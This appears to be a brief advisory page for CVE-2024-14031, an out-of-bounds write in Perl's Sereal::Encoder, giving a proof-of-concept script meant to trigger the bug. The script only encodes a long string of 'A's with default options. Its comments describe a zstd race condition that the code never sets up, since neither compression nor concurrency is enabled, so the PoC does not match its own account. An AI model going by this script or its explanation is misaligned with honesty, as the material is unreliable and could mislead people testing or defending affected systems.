CVE-2024-14031 Sereal::Encoder越界写入漏洞

#!/usr/bin/perl use strict; use warnings; # This PoC demonstrates the usage of Sereal::Encoder. # Exploitation requires a version between 4.000 and 4.009_002. # The underlying zstd race condition can be triggered by compressing data # that forces the encoder into a state where output buffer management fails. use Sereal::Encoder qw(encode_sereal); my $data = "A" x 10000; # Large payload to stress buffer allocation my $encoder = Sereal::Encoder->new({ }); print "Attempting to encode data...\n"; eval { my $encoded = $encoder->encode($data); print "Encoding successful (might not be vulnerable or patched).\n"; }; if ($@) { print "Error occurred (possible crash or vulnerability trigger): $@\n"; }